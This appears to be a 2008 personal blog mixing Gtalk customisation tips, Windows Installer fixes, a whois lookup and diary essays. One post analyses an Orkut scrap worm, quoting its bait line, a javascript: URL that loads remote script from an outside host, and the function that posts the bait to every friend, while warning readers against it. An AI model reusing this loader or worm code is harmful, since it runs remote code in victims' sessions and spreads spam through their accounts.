gadget buzz

2 Mar 2008

Changing the calling tones in Gtalk

This is one of the most interesting hacks in Gtalk which i recently did. You have nothing to do but use a software called "Resource hacker" to hack the googletalk.exe file you have installed in the system.

Open googletalk.exe in Resource Hacker.
Expand the WAVE tree.
Open the last WAVE file 126 and then "0"
Open Action> button and click on "Replace other resources"
Open the file you want to replace the normal WAV file with.
Click replace and close it
Save it (make sure you haven't opened Gtalk in the system tray also)

You can also change the Bitmap files in Gtalk from the Bitmap folder seen in resource hacker. Try it out yourself. You can find other resources and hacks at http://www.customizetalk.com

Courtesy: Customizetalk.com

8 Feb 2008

Orkut scripts exposed

I generally do not check out the scripts sent to me in scraps by frens. But this was one script which kept coming to me from different directions...from many various frens who dont know each other. So i thought it must be something worth trying or maybe its a SPAM. So i took a chance and tried it out to my utter amazement. The script did not have any effect on my browser,and thats what made me feel nervous thinking if it had not blown and security policies or exploited any vulnerabilities etc. So i made a search on it and found that the scraps are not only on my scrapbook but on all my friends on my list. So i decided to uncover what this script do behind the scenes.

Javascript files can be nasty piece of code which perform a particular function depending on what it was written for. Its really worth watching out for scripts on Orkut as you never know if that script could land you in jail under IT Act for spreading Trojans or Viruses. These scripts can run from the address bar of the Browser. When you enter a script in the address bar and press enter, the script directs you to another site or link or maybe perform some function the the page. These scripts can also be injected into the server directly. This is called Server Side Include (SSI) attacks and injects the piece of script directly into the server. This is generally done on Guestbooks,Feedback forms etc of a website which directly posts messages to the server.

Heres the scrap:
Here are some cool pic..BY JINESH JAIN.. Just copy the JavaScript, paste it in your address bar and PRESS ENTER
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://tricks80.googlepages.com/20885.user.js';void(0)
trust me, you'll find this pic funny!

The javascript source code:
function SendScrapToAll()
{
var scrapText;
scrapText = "[blue]Here are some cool pic..BY [green]JINESH JAIN[/green].. [blue]Just copy the JavaScript, paste it in your address bar and PRESS ENTER[/blue]" +
""+
"[orange]javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://tricks80.googlepages.com/20885.user.js';void(0)[/orange]"+
""+
"[red]trust me, you'll find thispic funny! [:)] ";
if(c == select.length)
return;
try{
if(select[c].value!="")
{
sendScrap(select[c].value,scrapText);
}
}catch(e){
//Suppressed Exception
} finally {
c = c+ 1;
setTimeout("SendScrapToAll()", 666);
}
}

What the script does?
The script fetches the current logged-on user's friends list from Compose.aspx page, builds AJAX based WebRequests and posts the scrap message to everyone on that list. And if you have more than 150 friends..sending more than 150 messages at a time will make Orkut admin look like SPAMMING and yo might even be blocked for some time to access your orkut account.

Prevention is better than Cure
There is not definite cure for such script injection but you can delete each scrap individually.
Inform your friends about this script and never try such scripts in future even if it maybe tempting.

Courtesy:
Coolwayfarer's Diary
Code Maverick

6 Feb 2008

Life's like that

i like the sound of raining..everything so silent..as in sweet slumber
do you know that if we are high up in the clouds..we wont be hearing the sound of rain..
its the sound of the water falling on the rocks,mountians, roofs,umbrella that we hear rain as
it has a sweet music in itself..have you ever listened to it?
it reflects all the sweet sounds of silence...
the leafs,the ocean,the rooftops...all singing in one tone..in life's unison
washing away all the dirt it had accumulated in all those times of sweet silence...

even if the ends of a needle are opposite to each other...that doensnt mean they are in different worlds...
the sound of rain is in fact a noise ...yet we like to hear it...we are thrilled by its noise...
music only need not be soothing to the ears...its sometimes noise that break all barriers...all silence
life is like that...

5 Feb 2008

Call conference in Gtalk

Gtalk unlike Yahoo messenger or any other IM clients lacks so many interactive features. But you can always manipulate with Gtalk to have these features back. For example, you can have call conference in Gtalk,use icons (not smileys) etc. There are so many themes for Gtalk available on the internet to use. You can set the background image,use cool icons, make sounds like applause in Yahoo messenger etc depending on which Gtalk theme you install. I will be telling only one aspect of Gtalk i.e. call conference. Believe me,i have tested it.

1.)Open Gtalk in one instance
2.)Right click the Gtalk icon on the desktop and open the properties of the Gtalk icon
3.) Add "/nomutex" (without colons) at the end of the target file of Gtalk
4.) It should be like this "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex.
5.) It will allow you to open multiple instances of Gtalk on your system
6.)Open 2 instances of Gtalk on every computer you wish to conference with.
7.After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Other Secret Startup Parameters

/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging

Courtesy: http://www.customizetalk.com

Call conference in Gtalk

Other Secret Startup Parameters

/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging

Courtesy: http://www.customizetalk.com

2 Feb 2008

Food based religious sentiments!!

Though Pune is known to be one of the largest exporter of pork in India(read it somewhere), i failed to understand why there were few restaurants which provided pork dishes! I am not against any religion or community as such but a thought just came into my mind. In a restaurant in Pune, no pork dishes are not mentioned in the menu card,though it was available. When i asked the waiter, he replied that it would hurt the religious sentiments of Muslims.

There are hardly one or two places where pork dishes are found whereas there must be some hundreds of hotels that provide beef. Would that be a fair part on hindus then, to include beef dishes on the menu? There is no law as such that such things could be or could not be mentioned in menu,its just a noble gesture of the restaurant owner for the customers not to feel offended.

In the same restaurant, they have beef dishes on the menu (if i remember right!)..so what does that have to do then? My whole point is that maybe hindu people generally don't take it too seriously when it comes to religion (except for some) whereas muslims in general, have a strict code of conduct and religious in nature. And maybe thats why people in general don't find it hard to put up a beef in the menu whereas they don't put pork in the menu! Well,that maybe my observation or my point of view which need not be taken as the truth as such. Take it as just one more comment of another person.

Disclaimer: I seriously dont have any problem or grudge with any religion. All are equal in my eyes.

18 Jan 2008

Windows installer - simple solutions to tragic problems

One may find problems installing a particular software sometimes or every time. One of the most annoying problem is when you right click on any icon on the desktop, say "My Computer" the Windows installer will start and you will begin to ponder that something is wrong with the recently installed software. To understand the problem let us first know what a Windows Installer is? The Windows Installer (previously known as Microsoft Installer, codename Darwin) is an engine for the installation, maintenance, and removal of software on modern Microsoft Windows systems. When installation problem occurs, the least place where you will look for is the Windows Installer service engine! Thats natural for a person to imagine if something goes wrong, that it is the software and not the service engine that is having problems. There are many symptoms for the failure of Windows Installer engine.

Some of them are as cited below:
1) When you try to install an update from Windows Update or from Microsoft Update, you experience the following symptoms:
• The system may appear to become unresponsive when Windows Update scans for updates that use Windows Installer.
• You receive an access violation error in the Svchost.exe process. This process is related to the Automatic Updates service. This access violation occurs when you use Automatic Updates to scan for updates by using the daily automatic schedule or when you visit the Microsoft Update Web site to manually scan for updates.
• A memory leak occurs when Windows Update scans for updates that use Windows Installer.
• Windows Update scans take a very long time, sometimes hours, to finish.

2) Error 1722. There is a problem with this Windows Installer package
3) Inability to install any software on the computer system giving corrupt package error.
4) Running of windows installer every time you load a program (The most annoying as i mentioned above)
5)"The Windows Installer Service could not be accessed"
6) "Windows Installer Service couldn’t be started" etc.

RESOLUTION

Method 1
Unregister Windows Installer, and then reregister Windows Installer. To do this, follow these steps:
1. On the "Start" menu, click "Run"
2. In the "Open" box, type "msiexec /unreg", and then press ENTER.
3. On the "Start" menu, click "Run"
4. In the "Open" box, type "msiexec /regserver", and then press ENTER

Method 2
Upgrade to Windows Installer version 2 or newer version. To do this, follow these steps:
1. Start Microsoft Internet Explorer, and then browse to the following Microsoft Web site:
http://msdn.microsoft.com/downloads
2. In the left pane tree menu, click "Setup and System Administration", and then click "Setup".
3. Click "Windows Installer", and then click the appropriate link for your operating system.
4. Click "Download" to download and install Windows Installer version 2 or newer version.

Method 3
Use Windows Installer CleanUp Utility to uninstall the failed product.
Description of the Windows Installer CleanUp Utility
http://support.microsoft.com/default.aspx?scid=kb;en-us;290301

Method 4
The Windows Installer service may disabled on the machine.
1. Go to "Start" -> "Run" , type "services.msc" and press on "Enter" button.
2. Double-click on the service named "Windows Installer".
3. Check the value in the "Startup type:" field. If it's currently set to "Disabled", then this is the
problem. Change it by selecting "Manual" from the drop-down box.

Method 5
Empty user and system "temp" folders.
1. Empty "%systemdrive%\temp" folder.
2. Empty "%systemdrive%\%windir%\temp" folder.
3. Empty "%systemdrive%\Documents and Settings\%username%\Local Settings\Temp".

Method 6
Enable Windows Installer Logging and call to PSS support.
How to Enable Windows Installer Logging
http://support.microsoft.com/default.aspx?kbid=223300

How to Enable Windows Installer Logging in Windows XP
http://support.microsoft.com/default.aspx?scid=kb;EN-US;314852

Method 7
Check correct DCOM and System permissions:
http://support.microsoft.com/?id=319624

Method 8
If you just upgrade Windows XP workstation to service pack 2 and the windows installer
problem appear only after this upgrade, please review the following knowledgebase:
http://support.microsoft.com/default.aspx?scid=kb;en-us;885894

Method 9
Check that the installation path length and environment variables length are execute
255 characters

Method 10
If you get the message error "Error 1628: Failed to complete script based install"
And followed the instruction above and it didn’t resolve the problem and you just create fresh
installation packet by using InstallShiled tool, please disable "Cache installation on local machine" option during the installation packet create process.

Method 11
Check if there pending installation/s:
Warning: You should only edit these registry entries if you really know what you're doing. Back up your hard disk first.
a. Empty "InProgress" Registry Key
Check the following registry key:
HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\InProgress
and clean any entries that you find.
b. Empty/Rename "PendingFileRenameOperations" Registry Key:
Check the following registry key:
HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
and clean any entries that you find.

Method 12
Obtain update MSI Package from the software manufacture.

Courtesy: Microsoft Support
Wikipedia

16 Jan 2008

Its Airtel or Vodafone ???

Behold Airtel users, Vodafone is on air!! Have you recently surfed www.airtel.com ?
If not please do so and you'll be surprised to see that the site takes you to the website of Vodafone Spain!

The website: http://airtel.com
points to: http://www.vodafone.es/

I had done a whois on the airtel.com and here is the result.

Registry Whois
Domain Name: airtel.com
Status: ok
Registrar: CORE INTERNET COUNCIL OF REGISTRARS
Whois Server: whois.corenic.net
Referral URL: http://www.corenic.net

Expiration Date: 2008-12-14
Creation Date: 1998-12-15
Last Update Date: 2006-12-01

Name Servers:
dns1m11.airtel.es
dns2b11.airtel.es

Extended Info
IP Address: 212.73.32.209
IP Location:

Spain
Website Status: active
Server Type: Netscape-Enterprise/4.1
Cache Date: 2008-01-16 03:05:44 MST
Compare Archived Data: 2007-05-12

Contact Info
Owner Airtel Movil S.a.
Email info [at] airtel.es
Phone +34 607134549
Address Avenida de Europa, 1
Alcobendas, Madrid 28108
SPAIN

Site Archive:
http://www.whois.ws/domain_archive-com/airtel.com/

None is clear till now what it is going on formally. Some says that Airtel (Spain ) has been taken over by Vodafone or its earlier name was Airtel something like that but you know ...rumours spread like fire! So lets see what happens in time to come.

6 Jan 2008

The value of a Rupee

If you drop a one rupee coin in a begging bowl in beggar in New Delhi, he will throw it back to you. He won't accept till you give ten rupees. This is the value of today's rupee. Nothing comes in a rupee in todays date except for Kisme toffee, or some local chocolate flavored sweets. But to me, i will never forget the value of a rupee. I have been extravagant throughout my life.. spending for good things of course and not looking into the wallet first or thinking of saving for the rest of the month. If i want something means i have to get it,no matter if i have to spend the rest of the month begging or stay hungry. But it was a day in my life that made me face the real world and make me realize the true value of a rupee.

I was staying with a junior cum brother in Pune at Chaturshringi one room flat during my year down in engineering days. We were also doing a course on ethical Hacking in a nearby place - Senapati Bapat road. We used to buy groceries, rice, books etc from the monthly money we got from home. It was this particular day that both of us ran out of money and practically we did not have even a single rupee to call someone to ask help from. The mobile balance was already gone and we were hoping for a miracle to happen and save us from hunger. We were already starving since morning and we got fed up of the hunger and went in search of some help. My junior went to ask help from his frens in a nearby college and they were in similar condition. All he could get was a one rupee coin. He had gone berserk thinking whom to call for money and asked me to try.
Can you imagine ...i thought so hard whom to call for help with that single one rupee coin!! Because if my fren whom i would be calling says that he doesn't have money we would be back to square one! So after thinking hard , ransacking my mind all over i called my best fren who stayed some 15 kms from my place for help. He said he has 500 rs but its not his and have to give to someone. I told him he was my last resort as it was the single very coin which we have invested in asking help and so i persuaded him that i will return him the money in 10 days time. He said ok and it was a huge relief.

I told him to wait at the gate as we dont have money for the auto and we hired an auto. He was waiting there, we took the money and returned in the same auto. We paid the auto driver and with the remaining money we bought rice, vegetables and other necessary items to quench our long awaited hunger. Till today, i remember of that incident and i realize how hard it must be on other people who hardly earns and yet have to support their family. I realized from that moment that i wont look down on people ( though i did not before also) and cherish what i have with me in life. I thanked God for giving me so much and making me realize the true value of a rupee.

3 Jan 2008

A new dawn of 2008

The plot:
I have been quite away from Blogs for some time now. I did not feel like writing so kept postponing it. I had many plans for the New Year party bash. One among them was going to United Services Club (US Club ) in Mumbai with my friend whose dad is in Navy in high post (Comodore if i rem right!) . Well i screwed it up when i come to know that there is cover charge for civilians and scrapped the very idea. I did not have access to any bikes practically and so i knew it would be like a boring one at hostel until my friend came up with a plan of the whole class going to a private farmhouse in Mulshi Dam in Pune. It was also cheap (Rs 500 per head) with dinner, breakfast, snacks etc plus transportation to and fro (amazing isnt it?) and drinks were on our own. So me and my friend took it up and went with them on a bus.

The party:
The site was some 45Kms away from the hostel and we had so much fun playing antakshri on the bus. We lost the way while going as there were many "one pathways" diverging at each point. We finally crashed at the site with much trouble and pain in the neck... but it was worth it..We had so much fun there as it was a hillock beside a Dam site. There were no sight of human life for radius of Kms and we were at our own. It was indeed the best party we ever had in our lives. Music was playing on in the background, people were dancing and drinking... some cracking jokes...made some new friends etc.. there was camp fire going on to keep us warm..small tent house to lie down and make ourselves comfortable...even the path to the washroom seemed a stairway to heaven among the scenic background...so we had so much fun in the ecstatic new environment...We burned crackers and fireworks at midnight and wished each other a very happy new year.. i slept though lately and woke up early in the morning to catch up with other guys.

The thoughts:
The first thing that came to my mind early morning was- if it really was a new year ahead of me or another same old day!! To find that out i have to just linger on with my thoughts and play along the rhythm of life. The place was one factor that made me think of other near and dear ones whom i could not wish on the day because of no network coverage. It was something like marooned in a lonely island for time being..no contact with the outside world..and freaking out at our own disposal. The scenic beauty, the chilly breeze, the mesmerizing dawn..all seemed so perfect in everyones imperfect lives that it seemed like a dream which was once seen but forgotten of. Life seemed like a mirage before my own eyes... wavering along the waves of thoughts. As i lie down the low lying wall of the tent house i saw the moon among clear blue sky..waiting to fade away from the daylight.. and as i turned sideways i saw the nearby hills with a road that got lost among the bushes....hidden by the dried grasses was a hazy path leading to the lake down below.. we walked across the hazy path and tried not to get lost...there were many "the road not taken" paths leading different directions and we unlike Robert Frost, took the path that was already trodden and grasses shaven by foot walks.. the bamboo tress were conspiring against us...yet we walked along until we reached the foothills and found a small stream of river with amazing beauty..

The road less traveled by.....
Happy New Year to one and all...